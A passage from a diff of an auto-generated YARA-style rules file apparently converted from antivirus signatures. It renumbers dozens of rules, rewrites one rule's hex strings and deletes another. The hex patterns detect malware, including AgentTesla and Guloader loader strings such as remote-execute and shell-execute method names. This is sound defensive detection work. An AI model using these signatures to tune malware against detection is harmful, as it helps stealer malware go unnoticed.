1)*25933+(#a_5f_2 & 1)*-32493+(#a_6f_3 & 1)*20596+(#a_73_4 & 1)*25455+(#a_56_5 & 1)*-32500+(#a_6c_6 & 1)*30068+(#a_00_8 & 1)*55+(#a_00_10 & 1)*67+(#a_00_12 & 1)*53+(#a_00_14 & 1)*56+(#a_00_16 & 1)*69+(#a_00_18 & 1)*51) >=19 } -rule _InfrastructureShared_19498{ +rule _InfrastructureShared_20703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -241590,7 +256544,7 @@ rule _InfrastructureShared_19498{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*69+(#a_00_3 & 1)*50) >=2 } -rule _InfrastructureShared_19499{ +rule _InfrastructureShared_20704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -241606,7 +256560,7 @@ rule _InfrastructureShared_19499{ ((#a_70_0 & 1)*16675+(#a_7d_1 & 1)*8819+(#a_20_2 & 1)*28448+(#a_75_3 & 1)*29801+(#a_72_4 & 1)*8307+(#a_00_6 & 1)*112+(#a_00_8 & 1)*111) >=3 } -rule _InfrastructureShared_19500{ +rule _InfrastructureShared_20705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -241626,7 +256580,7 @@ rule _InfrastructureShared_19500{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_00_3 & 1)*46+(#a_00_4 & 1)*104+(#a_00_5 & 1)*110+(#a_00_7 & 1)*92+(#a_61_8 & 1)*11585+(#a_00_9 & 1)*101+(#a_61_10 & 1)*11585+(#a_74_11 & 1)*21087+(#a_00_13 & 1)*60) >=3 } -rule _InfrastructureShared_19501{ +rule _InfrastructureShared_20706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -241638,7 +256592,7 @@ rule _InfrastructureShared_19501{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104+(#a_09_2 & 1)*31277) >=4 } -rule _InfrastructureShared_19502{ +rule _InfrastructureShared_20707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -241653,7 +256607,7 @@ rule _InfrastructureShared_19502{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_00_2 & 1)*116+(#a_00_4 & 1)*97+(#a_00_5 & 1)*32+(#a_72_6 & 1)*27718) >=4 } -rule _InfrastructureShared_19503{ +rule _InfrastructureShared_20708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -241669,7 +256623,7 @@ rule _InfrastructureShared_19503{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*83+(#a_65_3 & 1)*25460+(#a_73_4 & 1)*29264+(#a_5a_5 & 1)*16762+(#a_5a_6 & 1)*16762+(#a_6c_7 & 1)*18223) >=8 } -rule _InfrastructureShared_19504{ +rule _InfrastructureShared_20709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -241685,7 +256639,7 @@ rule _InfrastructureShared_19504{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28530+(#a_74_2 & 1)*28499+(#a_01_3 & 1)*26482+(#a_73_4 & 1)*28515+(#a_00_6 & 1)*107+(#a_65_7 & 1)*27745) >=8 } -rule _InfrastructureShared_19505{ +rule _InfrastructureShared_20710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -241700,7 +256654,7 @@ rule _InfrastructureShared_19505{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92+(#a_53_3 & 1)*15616+(#a_20_4 & 1)*17221+(#a_00_6 & 1)*115+(#a_00_8 & 1)*114) >=8 } -rule _InfrastructureShared_19506{ +rule _InfrastructureShared_20711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -241716,7 +256670,7 @@ rule _InfrastructureShared_19506{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50+(#a_00_3 & 1)*111+(#a_00_4 & 1)*111+(#a_00_6 & 1)*112+(#a_00_7 & 1)*111+(#a_6c_9 & 1)*25427) >=10 } -rule _InfrastructureShared_19507{ +rule _InfrastructureShared_20712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -241733,7 +256687,7 @@ rule _InfrastructureShared_19507{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_61_2 & 1)*24909+(#a_65_3 & 1)*25924+(#a_28_6 & 1)*769+(#a_00_7 & 1)*1+(#a_74_8 & 1)*25959+(#a_65_9 & 1)*29561) >=10 } -rule _InfrastructureShared_19508{ +rule _InfrastructureShared_20713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 0f 00 21 " @@ -241756,7 +256710,7 @@ rule _InfrastructureShared_19508{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28015+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_80_7 & 1)*5+(#a_80_8 & 1)*5+(#a_80_9 & 1)*5+(#a_dc_10 & 1)*0+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1) >=17 } -rule _InfrastructureShared_19509{ +rule _InfrastructureShared_20714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 30 00 21 " @@ -241810,7 +256764,7 @@ rule _InfrastructureShared_19509{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-6143+(#a_00_3 & 1)*0+(#a_00_4 & 1)*-6143+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_dc_33 & 1)*0+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1) >=32 } -rule _InfrastructureShared_19510{ +rule _InfrastructureShared_20715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 30 00 21 " @@ -241855,7 +256809,7 @@ rule _InfrastructureShared_19510{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-6143+(#a_00_3 & 1)*-6143+(#a_00_6 & 1)*-6143+(#a_00_7 & 1)*0+(#a_00_8 & 1)*-6143+(#a_38_9 & 1)*11575+(#a_00_10 & 1)*23666+(#a_6f_11 & 1)*20526+(#a_00_12 & 1)*32+(#a_00_14 & 1)*68+(#a_00_16 & 1)*58+(#a_41_18 & 1)*8448+(#a_00_20 & 1)*69+(#a_00_22 & 1)*48+(#a_71_23 & 1)*24936+(#a_2d_24 & 1)*31277+(#a_00_26 & 1)*72+(#a_39_27 & 1)*12378+(#a_57_28 & 1)*27759+(#a_00_29 & 1)*284+(#a_00_31 & 1)*114+(#a_00_32 & 1)*110+(#a_00_34 & 1)*76+(#a_00_36 & 1)*110+(#a_57_37 & 1)*28257+(#a_6b_38 & 1)*29295+(#a_5c_39 & 1)*29281+(#a_65_40 & 1)*24951+(#a_62_41 & 1)*23653+(#a_3a_42 & 1)*24938+(#a_74_43 & 1)*28233+(#a_81_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_dd_47 & 1)*0) >=32 } -rule _InfrastructureShared_19511{ +rule _InfrastructureShared_20716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -241870,7 +256824,7 @@ rule _InfrastructureShared_19511{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*29264+(#a_00_3 & 1)*32+(#a_00_5 & 1)*115+(#a_00_6 & 1)*56+(#a_00_8 & 1)*105) >=4 } -rule _InfrastructureShared_19512{ +rule _InfrastructureShared_20717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -241885,7 +256839,7 @@ rule _InfrastructureShared_19512{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_01_2 & 1)*-28563+(#a_00_3 & 1)*14637+(#a_00_5 & 1)*76+(#a_03_6 & 1)*1) >=5 } -rule _InfrastructureShared_19513{ +rule _InfrastructureShared_20718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -241902,7 +256856,7 @@ rule _InfrastructureShared_19513{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_3 & 1)*112+(#a_00_4 & 1)*105+(#a_00_6 & 1)*115+(#a_67_7 & 1)*26994+(#a_6e_8 & 1)*28265+(#a_53_9 & 1)*26478) >=8 } -rule _InfrastructureShared_19514{ +rule _InfrastructureShared_20719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -241918,7 +256872,7 @@ rule _InfrastructureShared_19514{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27760+(#a_61_2 & 1)*29798+(#a_68_3 & 1)*26996+(#a_69_4 & 1)*29798+(#a_52_7 & 1)*21320+(#a_62_8 & 1)*17409) >=9 } -rule _InfrastructureShared_19515{ +rule _InfrastructureShared_20720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -241942,7 +256896,7 @@ rule _InfrastructureShared_19515{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*-32498+(#a_69_2 & 1)*26485+(#a_01_3 & 1)*3072+(#a_07_4 & 1)*4868+(#a_17_5 & 1)*4352+(#a_5a_6 & 1)*4361+(#a_90_7 & 1)*11531+(#a_74_8 & 1)*24946+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1) >=15 } -rule _InfrastructureShared_19516{ +rule _InfrastructureShared_20721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -241967,7 +256921,7 @@ rule _InfrastructureShared_19516{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30068+(#a_52_2 & 1)*29295+(#a_73_3 & 1)*28528+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_de_8 & 1)*0+(#a_69_9 & 1)*10355+(#a_74_10 & 1)*24948+(#a_30_11 & 1)*11313+(#a_78_12 & 1)*8236+(#a_41_13 & 1)*6250+(#a_6e_14 & 1)*31491+(#a_00_16 & 1)*-8584) >=17 } -rule _InfrastructureShared_19517{ +rule _InfrastructureShared_20722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -241984,7 +256938,7 @@ rule _InfrastructureShared_19517{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*32032+(#a_74_2 & 1)*28261+(#a_44_3 & 1)*28257+(#a_78_4 & 1)*8236+(#a_30_5 & 1)*11366+(#a_03_6 & 1)*9814+(#a_65_7 & 1)*17765) >=1 } -rule _InfrastructureShared_19518{ +rule _InfrastructureShared_20723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -242001,7 +256955,7 @@ rule _InfrastructureShared_19518{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*89+(#a_7b_2 & 1)*303+(#a_00_3 & 1)*122+(#a_00_4 & 1)*75+(#a_67_5 & 1)*29555+(#a_53_7 & 1)*19537+(#a_4d_8 & 1)*5376) >=4 } -rule _InfrastructureShared_19519{ +rule _InfrastructureShared_20724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 13 00 21 " @@ -242017,17 +256971,15 @@ rule _InfrastructureShared_19519{ $a_30_10 = {39 41 2d 5a 61 2d 7a 90 09 } //300 $a_2c_11 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 34 03 44 00 42 00 4e 00 5f 00 44 00 45 00 4c 00 45 00 54 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 30 03 44 00 42 00 49 00 4e 00 53 00 45 00 52 00 54 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 6c 03 43 00 6f 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 } //2 $a_00_12 = {29 00 20 00 4b 00 69 00 62 00 6f 00 73 00 6f 00 66 00 74 00 20 00 43 00 6f 00 72 00 70 00 2e 00 20 00 32 00 30 00 30 00 31 00 2d 00 32 00 30 00 30 00 36 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 } //40 - $a_2c_13 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 de 01 00 10 00 10 00 18 00 21 23 42 4d 5f 41 54 3a 4e 65 74 53 75 70 70 6f 72 74 00 0a 00 0a 81 01 4e 65 74 53 75 70 70 6f 72 74 04 00 0c 81 01 63 6c 69 65 6e 74 33 32 2e 70 64 62 04 00 15 02 5c 00 70 00 63 00 69 00 90 02 14 2e 00 70 00 64 00 62 00 90 00 04 00 0d 02 5c 70 63 69 90 02 14 2e 70 64 62 90 00 04 00 09 81 01 64 6e 61 72 63 2e 70 64 62 04 00 0d 81 01 67 61 74 65 77 61 79 33 } //2 - $a_64_14 = {04 00 0c 81 01 48 44 45 73 63 53 72 76 2e 70 64 62 04 00 0b 81 01 68 74 63 74 6c 33 32 2e 70 64 62 04 00 0b 81 01 4c 6f 63 6b 44 6c 6c 2e 70 64 62 04 00 0a 81 01 6e 62 62 72 33 32 2e 70 64 62 04 00 14 81 01 52 65 70 6c 61 79 43 6f 6e 76 65 72 73 69 6f 6e 2e 70 64 62 04 00 0f 81 01 52 75 6e 50 6c 75 67 69 6e 36 34 2e 70 64 62 04 00 0c } //11826 - $a_75_15 = {73 63 72 69 70 2e 70 64 62 04 00 0b 81 01 57 69 6e 73 74 33 32 2e 70 64 62 04 00 0b 81 01 77 69 6e 73 74 36 34 2e 70 64 62 02 00 17 81 01 4f 70 65 6e 4d 61 6e 61 67 65 72 28 22 43 6c 69 65 6e 74 33 32 22 29 02 00 2f 81 01 25 30 34 64 2d 25 30 32 } //385 - $a_30_16 = {64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 2e 25 30 33 64 2c 20 57 69 6e 25 73 20 25 64 2e 25 64 02 00 09 } //11620 - $a_75_17 = {70 6c 75 67 69 6e 02 00 0b 81 01 77 69 6e 73 74 33 32 2e 6c 6f 67 02 00 0b 81 01 77 69 6e 73 74 36 34 2e 6c 6f 67 02 00 09 81 01 4e 53 4d 43 6c 69 65 6e 74 02 00 12 81 01 43 68 65 63 6b 4c 69 63 65 6e 73 65 53 74 72 69 6e 67 03 00 07 81 01 4e 53 53 52 45 53 5f 03 00 07 81 01 4e 53 4d 52 45 53 5f 00 00 78 de 01 00 11 00 11 00 11 00 21 23 48 } //385 - $a_3a_18 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 01 00 08 01 61 64 64 5f 4c 6f 61 64 01 00 0a 01 5f 65 78 65 52 65 6d 6f 74 65 01 00 0b 01 5f 62 67 65 74 52 65 6d 6f 74 65 01 00 13 01 73 65 74 5f 55 73 65 } //21587 + $a_2c_13 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 de 01 00 11 00 11 00 11 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 01 00 08 01 61 64 64 5f 4c 6f 61 64 01 00 0a 01 5f 65 78 65 52 65 6d 6f 74 65 01 00 0b 01 5f 62 67 65 74 52 65 6d 6f 74 65 01 00 13 01 73 65 74 5f 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 01 00 1c 01 42 67 65 74 2e 53 70 6c 61 73 68 53 63 72 } //2 + $a_31_14 = {72 65 73 6f 75 72 63 65 73 01 00 16 01 42 67 65 74 2e 68 65 6c 70 64 6f 63 2e 72 65 73 6f 75 72 63 65 73 01 00 18 01 42 67 65 74 2e 41 74 61 72 69 47 61 6d 65 2e 72 65 73 6f 75 72 63 65 73 01 00 23 01 42 67 65 74 2e 44 69 61 6c 6f 67 43 68 65 63 6b 46 6f 72 55 70 64 61 74 65 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 42 67 65 74 } //25957 + $a_74_15 = {6f 6e 73 44 69 61 6c 6f 67 2e 72 65 73 6f 75 72 63 65 73 01 00 13 01 42 67 65 74 2e 48 65 6c 70 2e 72 65 73 6f 75 72 63 65 73 01 00 18 01 42 67 65 74 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 21 01 42 67 65 74 2e 6c 6f 63 61 6c 53 63 72 69 70 74 4f 70 74 69 6f 6e 73 2e 72 65 73 6f 75 72 63 65 73 01 00 13 01 42 } //28462 + $a_2e_16 = {67 65 74 2e 72 65 73 6f 75 72 63 65 73 01 00 14 01 42 67 65 74 2e 53 74 61 72 74 2e 72 65 73 6f 75 72 63 65 73 01 00 14 01 42 67 65 74 2e 41 62 6f 75 74 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 01 42 67 65 74 2e 44 69 61 6c 6f 67 41 62 6f 75 74 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 53 70 6c 61 73 68 53 63 72 65 65 6e 31 5f 4c 6f 61 64 00 00 78 } //25959 condition: - ((#a_46_0 & 1)*16675+(#a_38_2 & 1)*9472+(#a_03_3 & 1)*31335+(#a_65_4 & 1)*8822+(#a_65_5 & 1)*25462+(#a_59_6 & 1)*17996+(#a_2d_8 & 1)*2305+(#a_30_9 & 1)*11585+(#a_30_10 & 1)*300+(#a_2c_11 & 1)*2+(#a_00_12 & 1)*40+(#a_2c_13 & 1)*2+(#a_64_14 & 1)*11826+(#a_75_15 & 1)*385+(#a_30_16 & 1)*11620+(#a_75_17 & 1)*385+(#a_3a_18 & 1)*21587) >=6 + ((#a_46_0 & 1)*16675+(#a_38_2 & 1)*9472+(#a_03_3 & 1)*31335+(#a_65_4 & 1)*8822+(#a_65_5 & 1)*25462+(#a_59_6 & 1)*17996+(#a_2d_8 & 1)*2305+(#a_30_9 & 1)*11585+(#a_30_10 & 1)*300+(#a_2c_11 & 1)*2+(#a_00_12 & 1)*40+(#a_2c_13 & 1)*2+(#a_31_14 & 1)*25957+(#a_74_15 & 1)*28462+(#a_2e_16 & 1)*25959) >=6 } -rule _InfrastructureShared_19520{ +rule _InfrastructureShared_20725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -242041,39 +256993,7 @@ rule _InfrastructureShared_19520{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_41_2 & 1)*19459+(#a_09_3 & 1)*31277+(#a_2c_5 & 1)*84) >=7 } -rule _InfrastructureShared_19521{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 18 00 21 " - - strings : - $a_5f_0 = {54 3a 4e 65 74 53 75 70 70 6f 72 74 00 0a 00 0a 81 01 4e 65 74 53 75 70 70 6f 72 74 04 00 0c 81 01 63 6c 69 65 6e 74 33 32 2e 70 64 62 04 00 15 02 5c 00 70 00 63 00 69 00 90 02 14 2e 00 70 00 64 00 62 00 90 00 04 00 0d 02 5c 70 63 } //16931 - $a_14_1 = {70 64 } //-28567 pd - $a_01_3 = {64 6e 61 72 63 2e 70 64 62 04 00 0d 81 01 67 61 74 65 77 61 79 33 32 2e 70 64 62 04 00 0c 81 01 48 44 45 73 63 53 72 76 2e 70 64 62 04 00 0b 81 01 68 74 63 74 6c 33 32 2e 70 64 62 04 00 0b 81 01 4c 6f 63 6b 44 6c 6c 2e 70 64 62 04 00 0a 81 01 6e 62 62 72 33 32 2e 70 64 62 04 00 14 81 01 52 65 70 6c 61 79 43 6f 6e 76 65 72 73 69 6f 6e 2e 70 64 62 04 00 0f 81 01 52 75 6e 50 6c 75 67 69 } //2304 - $a_2e_4 = {64 62 04 00 0c 81 01 52 75 6e 73 63 72 69 70 2e 70 64 62 04 00 0b 81 01 57 69 6e 73 74 33 32 2e 70 64 62 04 00 0b 81 01 77 69 6e 73 74 36 34 2e 70 64 62 02 } //13934 - $a_01_5 = {4f 70 65 6e 4d 61 6e 61 67 65 72 28 22 43 6c 69 65 6e 74 33 32 22 29 02 00 2f 81 01 25 30 34 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 2e 25 30 33 64 2c 20 57 69 6e 25 73 20 25 64 2e 25 64 02 00 09 81 01 72 75 6e 70 6c 75 67 69 6e 02 00 0b 81 01 77 69 6e 73 74 33 32 2e 6c 6f 67 02 00 0b 81 01 77 69 6e 73 74 36 34 2e 6c 6f 67 02 00 09 81 01 4e 53 4d } //5888 - $a_65_6 = {74 02 00 12 81 01 43 68 65 63 6b 4c 69 63 65 6e 73 65 53 74 72 69 6e 67 03 00 07 81 01 4e 53 53 52 45 53 5f 03 00 07 81 01 4e 53 4d 52 45 53 5f 00 00 78 de 01 00 11 00 11 00 11 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 01 00 08 01 61 64 64 } //27715 - $a_61_7 = {01 00 0a 01 5f 65 78 65 52 65 6d 6f 74 65 01 00 0b 01 5f 62 67 65 74 52 65 6d 6f 74 65 01 00 13 01 73 65 74 5f 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 01 00 1c 01 42 67 65 74 2e 53 70 6c 61 73 68 53 63 72 65 65 6e 31 2e 72 65 73 6f 75 72 63 65 73 01 00 16 01 42 67 65 74 2e 68 65 6c 70 64 6f 63 2e 72 65 73 6f 75 72 63 65 73 01 } //19551 - $a_42_8 = {65 } //6144 e - $a_74_9 = {72 69 47 61 6d 65 2e 72 65 73 6f 75 72 63 65 73 01 00 23 01 42 67 65 74 2e 44 69 61 6c 6f 67 43 68 65 63 6b 46 6f 72 55 70 64 61 74 65 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 42 67 65 74 2e 6f } //11892 - $a_6f_10 = {73 44 69 61 6c 6f 67 2e 72 65 73 6f 75 72 63 65 73 01 00 13 01 42 67 65 74 2e 48 65 6c 70 2e 72 65 73 6f 75 72 63 65 73 01 00 18 01 42 67 65 74 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 21 01 42 67 65 74 2e 6c 6f 63 61 6c 53 63 72 69 70 74 4f 70 74 69 6f 6e 73 2e 72 65 73 6f 75 72 63 65 73 } //29808 - $a_01_11 = {42 67 65 74 2e 62 67 65 74 2e 72 65 73 6f 75 72 63 65 73 } //1 Bget.bget.resources - $a_01_12 = {42 67 65 74 2e 53 74 61 72 74 2e 72 65 73 6f 75 72 63 65 73 } //1 Bget.Start.resources - $a_01_13 = {42 67 65 74 2e 41 62 6f 75 74 2e 72 65 73 6f 75 72 63 65 73 } //1 Bget.About.resources - $a_01_14 = {42 67 65 74 2e 44 69 61 6c 6f 67 41 62 6f 75 74 2e 72 65 73 6f 75 72 63 65 73 } //1 Bget.DialogAbout.resources - $a_01_15 = {53 70 6c 61 73 68 53 63 72 65 65 6e 31 5f 4c 6f 61 64 } //1 SplashScreen1_Load - $a_df_16 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 32 30 30 32 32 33 21 4d 54 42 00 01 00 2b 01 5c 4d 69 72 61 63 6c 65 64 5c 4c 61 63 65 6d 61 6b 65 72 5c 55 72 69 6e 76 65 6a 73 73 79 67 64 6f 6d 6d 65 6e 65 73 2e 53 69 67 01 00 1e 01 5c 54 75 62 65 72 6b 75 6c 6f 73 65 6e 73 5c 4c 69 65 6e 74 65 72 79 2e 43 61 6e } //0 - $a_01_17 = {00 24 01 28 28 5c 70 6f 73 65 6b 69 6b 6b 65 72 5c 41 62 6c 61 74 69 76 65 73 5c 45 79 65 73 69 67 68 74 2e 69 6e 69 01 00 27 01 53 6f 66 74 77 61 72 65 5c 53 70 69 6f 6e } //13873 - $a_65_18 = {61 65 74 5c 4a 65 64 64 79 5c 46 6a 65 72 62 6f 6c 64 65 73 01 00 33 01 28 28 5c 43 68 69 72 6b 65 64 5c 45 66 74 65 72 74 61 63 6b 6c 69 6e 67 65 72 6e 65 5c 4d 6f 72 73 65 6c 6c 65 64 5c 73 70 61 74 69 65 72 65 2e 64 6c 6c 01 00 27 01 25 44 72 61 61 62 6e 65 72 25 5c 43 68 65 63 6b 73 76 69 6e 64 6c 65 72 5c 45 63 74 72 6f } //24939 - $a_74_19 = {6c 69 73 6d 01 00 34 01 5c 52 61 74 69 68 61 62 65 72 69 6e 67 65 6e 5c 4c 75 6d 70 66 69 73 68 5c 53 6b 72 61 61 70 61 72 6b 65 72 69 6e 67 5c 42 69 72 67 69 74 74 61 2e 41 64 79 01 00 23 01 25 45 6e 73 65 6d 62 6c 65 72 6e 65 73 34 37 25 5c 55 6e 61 62 6e 65 67 61 74 65 64 2e 51 75 61 31 38 34 } //24932 - $a_01_20 = {5c 55 64 66 6f 6c 64 65 6c 73 65 72 6e 65 2e 69 6e 69 } //1 \Udfoldelserne.ini - $a_01_21 = {25 50 69 6d 61 72 69 63 25 5c 53 69 72 6c 69 67 65 5c 54 61 73 6b 65 72 6e 65 5c 41 61 6e 64 73 61 72 62 65 6a 64 65 72 65 73 5c 55 6e 63 6f 67 65 6e 74 6c 79 } //1 %Pimaric%\Sirlige\Taskerne\Aandsarbejderes\Uncogently - $a_df_22 = {00 14 00 14 00 14 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 37 39 21 4d 54 42 00 01 00 1a 81 01 59 6f 75 74 75 62 65 45 78 70 6c 6f 64 65 2e 44 65 66 69 6e 69 74 69 6f 6e 73 01 00 1a 81 01 59 6f 75 74 75 62 65 45 78 70 6c 6f 64 65 2e 41 6e 6e 6f 74 61 74 69 6f 6e 73 01 00 1b 81 01 59 6f 75 74 } //0 - $a_45_23 = {70 6c 6f 64 65 2e 44 69 63 74 69 6f 6e 61 72 69 65 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 09 81 01 53 65 6e 64 41 73 79 6e 63 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 52 65 76 65 72 73 65 01 00 16 81 01 41 73 79 6e 63 54 61 73 6b 4d 65 74 68 6f 64 42 75 69 6c 64 65 72 01 00 0c 81 01 43 } //25205 - condition: - ((#a_5f_0 & 1)*16931+(#a_14_1 & 1)*-28567+(#a_01_3 & 1)*2304+(#a_2e_4 & 1)*13934+(#a_01_5 & 1)*5888+(#a_65_6 & 1)*27715+(#a_61_7 & 1)*19551+(#a_42_8 & 1)*6144+(#a_74_9 & 1)*11892+(#a_6f_10 & 1)*29808+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_df_16 & 1)*0+(#a_01_17 & 1)*13873+(#a_65_18 & 1)*24939+(#a_74_19 & 1)*24932+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_df_22 & 1)*0+(#a_45_23 & 1)*25205) >=16 - -} -rule _InfrastructureShared_19522{ +rule _InfrastructureShared_20726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -242098,7 +257018,7 @@ rule _InfrastructureShared_19522{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*21349+(#a_6f_2 & 1)*24937+(#a_42_3 & 1)*8448+(#a_6f_4 & 1)*11892+(#a_41_5 & 